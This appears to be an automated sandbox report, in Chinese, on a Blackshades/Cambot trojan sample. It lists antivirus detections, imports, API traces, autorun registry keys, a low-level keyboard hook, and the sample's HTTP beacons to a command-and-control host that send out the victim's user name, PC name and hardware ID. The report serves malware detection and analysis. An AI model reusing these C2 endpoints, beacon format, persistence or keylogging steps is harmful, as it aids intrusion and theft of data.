5.8
高危
64 个模型检测该样本为恶意！
重新分析
更多

e893562d083a43cb6d8ede3b3b337b0f4b08fbc97041c2d3b54b689d943facb9

abd4114bffa85c6f2c8e5a2fe63ece93.exe

分析耗时

73s

最近分析

文件大小

1.6MB
静态报毒 动态报毒 100% A@74GTE2 AI SCORE=89 AIDETECTVM AINSLOT BLACKCONTROL BLACKSHADES BOTSIGGEN BSBOT CAMBOT CLASSIC CONFIDENCE E6GPCU ECCNDN ELDORADO GA250A05 GENCIRC GENERICKD GENETIC HBYC HIGH CONFIDENCE KCLOUD KVM006 LLAC LLZL MALICIOUS PE MALWARE1 PASSWORDSTEALER R + MAL SCORE STATIC AI TPOE TSPY ULISE UNSAFE UVPM VBNA 更多
鹰眼引擎
未检测 暂无鹰眼引擎检测结果
静态判定
反病毒引擎
查杀引擎 查杀结果 查杀时间 查杀版本
Alibaba Worm:Win32/Cambot.1db68fc6 20190527 0.3.0.5
Avast Win32:Banker-IZK [Trj] 20201210 21.1.5827.0
Baidu 20190318 1.0.0.2
Kingsoft Win32.Heur.KVM006.a.(kcloud) 20201211 2017.9.26.565
McAfee W32/Generic.worm!p2p.c 20201211 6.0.6.653
Tencent Malware.Win32.Gencirc.10b0cdf5 20201211 1.0.0.1
CrowdStrike win/malicious_confidence_100% (W) 20190702 1.0
静态指标
Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 个事件)
Time & API Arguments Status Return Repeated
1619826894.198662
GlobalMemoryStatusEx
success 1 0
One or more processes crashed (2 个事件)
Time & API Arguments Status Return Repeated
1619826882.135662
__exception__
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

registers.esp: 1636352
registers.edi: 1636540
registers.eax: 1636352
registers.ebp: 1636432
registers.edx: 0
registers.ebx: 5207648
registers.esi: 1636540
registers.ecx: 2
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.instruction: leave
exception.module: KERNELBASE.dll
exception.exception_code: 0xc000008f
exception.offset: 46887
exception.address: 0x778eb727
success 0 0
1619826924.166662
__exception__
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

registers.esp: 1636280
registers.edi: 5207648
registers.eax: 1636280
registers.ebp: 1636360
registers.edx: 0
registers.ebx: 5207648
registers.esi: 5207648
registers.ecx: 2
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.instruction: leave
exception.module: KERNELBASE.dll
exception.exception_code: 0xc000008f
exception.offset: 46887
exception.address: 0x778eb727
success 0 0
行为判定
动态指标
Performs some HTTP requests (2 个事件)
request GET http://migsel.com/system/classes/alive.php?key=Blackshades%5FKey&pcuser=Administrator&pcname=OSKAR%2DPC&hwid=38C63B41&country=People%27s+Republic+of+China
request GET http://migsel.com/system/classes/fg.php?key=Blackshades%5FKey
Creates executable files on the filesystem (1 个事件)
file C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
Drops an executable to the user AppData folder (2 个事件)
file C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
file C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\ag58fpqon.exe.jpg
Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 个事件)
Time & API Arguments Status Return Repeated
1619826881.745662
NtProtectVirtualMemory
process_identifier: 2104
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 24576
protection: 32 (PAGE_EXECUTE_READ)
process_handle: 0xffffffff
base_address: 0x00450000
success 0 0
网络通信
Communicates with host for which no DNS query was performed (1 个事件)
host 172.217.24.14
Installs itself for autorun at Windows startup (50 out of 156 个事件)
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\VLXHCMT5KJ reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\AG58FPQON.exe
Creates a windows hook that monitors keyboard input (keylogger) (1 个事件)
Time & API Arguments Status Return Repeated
1619826894.166662
SetWindowsHookExA
thread_identifier: 0
callback_function: 0x00401ce4
module_address: 0x00400000
hook_identifier: 13 (WH_KEYBOARD_LL)
success 983433 0
Generates some ICMP traffic
File has been identified by 64 AntiVirus engines on VirusTotal as malicious (50 out of 64 个事件)
Bkav W32.AIDetectVM.malware1
Elastic malicious (high confidence)
DrWeb BackDoor.BotSiggen.51
MicroWorld-eScan Trojan.GenericKD.30598445
FireEye Generic.mg.abd4114bffa85c6f
CAT-QuickHeal Worm.Cambot.A3
ALYac Trojan.GenericKD.30598445
Cylance Unsafe
VIPRE Trojan.Win32.Generic!BT
SUPERAntiSpyware Worm.Cambot/Variant
K7AntiVirus Spyware ( 000537701 )
Alibaba Worm:Win32/Cambot.1db68fc6
K7GW Spyware ( 000537701 )
Cybereason malicious.bffa85
Arcabit Trojan.Generic.D1D2E52D
BitDefenderTheta AI:Packer.0AEA0F441F
Cyren W32/Ulise.I.gen!Eldorado
Symantec W32.Cambot
ESET-NOD32 Win32/Spy.VB.NNI
APEX Malicious
TotalDefense Win32/BsBot!generic
Paloalto generic.ml
ClamAV Win.Trojan.Blackshades-6327385-1
Kaspersky Trojan.Win32.Llac.llzl
BitDefender Trojan.GenericKD.30598445
NANO-Antivirus Trojan.Win32.VB.eccndn
Avast Win32:Banker-IZK [Trj]
Rising Spyware.Agent!1.AE75 (CLASSIC)
Ad-Aware Trojan.GenericKD.30598445
Emsisoft Trojan.GenericKD.30598445 (B)
Comodo Worm.Win32.Cambot.A@74gte2
F-Secure Trojan.TR/Dropper.VB.Gen
Zillya Trojan.Llac.Win32.56727
TrendMicro TSPY_VB_GA250A05.UVPM
McAfee-GW-Edition BehavesLike.Win32.Generic.th
Sophos Mal/Generic-R + Mal/VB-AQO
SentinelOne Static AI - Malicious PE
Jiangmin Worm/VBNA.hbyc
Avira TR/Dropper.VB.Gen
Antiy-AVL Worm/Win32.VBNA
Kingsoft Win32.Heur.KVM006.a.(kcloud)
Gridinsoft Trojan.Win32.Cambot.vb!s1
Microsoft Worm:Win32/Cambot.A
AegisLab Trojan.Win32.Llac.tpoE
ZoneAlarm Trojan.Win32.Llac.llzl
GData Win32.Backdoor.Ainslot.C
Cynet Malicious (score: 100)
AhnLab-V3 Worm/Win32.VBNA.C148121
Acronis suspicious
McAfee W32/Generic.worm!p2p.c
可视化分析
二进制图像
暂无二进制图像 该样本未生成二进制可视化图像
运行截图
暂无运行截图 该样本运行过程中未生成截图

👋 欢迎使用 ChatHawk

我是您的恶意软件分析助手，可以帮您分析和解读恶意软件报告。请随时向我提问！

🔍 主要威胁分析
⚡ 行为特征
🛡️ 防护建议
🔧 技术手段
🎯 检测方法
🤖

PE Compile Time

2011-06-29 08:05:34

Imports

Library MSVBVM60.DLL:
• 0x401004 MethCallEngine
• 0x401008 EVENT_SINK_Invoke
• 0x40100c
• 0x401010
• 0x401014
• 0x401018
• 0x40101c
• 0x401020
• 0x401024
• 0x401028
• 0x40102c Zombie_GetTypeInfo
• 0x401030
• 0x401034
• 0x401038
• 0x40103c
• 0x401040
• 0x401044
• 0x401048
• 0x40104c
• 0x401050
• 0x401054
• 0x401058 EVENT_SINK_AddRef
• 0x40105c
• 0x401060
• 0x401064 DllFunctionCall
• 0x401068
• 0x401070 EVENT_SINK_Release
• 0x401074
• 0x40107c __vbaExceptHandler
• 0x401080
• 0x401084
• 0x401088
• 0x40108c
• 0x401090
• 0x401094
• 0x401098
• 0x40109c
• 0x4010a0 ProcCallEngine
• 0x4010a4
• 0x4010a8
• 0x4010ac
• 0x4010b0
• 0x4010b4
• 0x4010b8
• 0x4010bc
• 0x4010c0
• 0x4010c4
• 0x4010c8
• 0x4010cc
• 0x4010d0
• 0x4010d4
• 0x4010d8
• 0x4010dc
• 0x4010e0
• 0x4010e4
• 0x4010e8
• 0x4010ec
• 0x4010f0
• 0x4010f4

Hosts

No hosts contacted.

TCP

Source Source Port Destination Destination Port
192.168.56.101 49176 95.128.128.129 migsel.com 80

UDP

Source Source Port Destination Destination Port
192.168.56.101 49235 114.114.114.114 53
192.168.56.101 50534 114.114.114.114 53
192.168.56.101 56539 114.114.114.114 53
192.168.56.101 58367 114.114.114.114 53
192.168.56.101 65004 114.114.114.114 53
192.168.56.101 137 192.168.56.255 137
192.168.56.101 138 192.168.56.255 138
192.168.56.101 55368 224.0.0.252 5355
192.168.56.101 56804 224.0.0.252 5355
192.168.56.101 60123 224.0.0.252 5355
192.168.56.101 62191 224.0.0.252 5355
192.168.56.101 1900 239.255.255.250 1900
192.168.56.101 50535 239.255.255.250 3702
192.168.56.101 50537 239.255.255.250 3702
192.168.56.101 56540 239.255.255.250 3702
192.168.56.101 56807 239.255.255.250 1900
192.168.56.101 58707 239.255.255.250 3702
192.168.56.101 58367 8.8.8.8 53

HTTP & HTTPS Requests

URI Data
http://migsel.com/system/classes/fg.php?key=Blackshades%5FKey 
GET /system/classes/fg.php?key=Blackshades%5FKey HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Host: migsel.com
http://migsel.com/system/classes/alive.php?key=Blackshades%5FKey&pcuser=Administrator&pcname=OSKAR%2DPC&hwid=38C63B41&country=People%27s+Republic+of+China 
GET /system/classes/alive.php?key=Blackshades%5FKey&pcuser=Administrator&pcname=OSKAR%2DPC&hwid=38C63B41&country=People%27s+Republic+of+China HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Host: migsel.com

ICMP traffic

No ICMP traffic performed.

IRC traffic

No IRC requests performed.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Snort Alerts

No Snort Alerts

Sorry! No dropped files.
Sorry! No dropped buffers.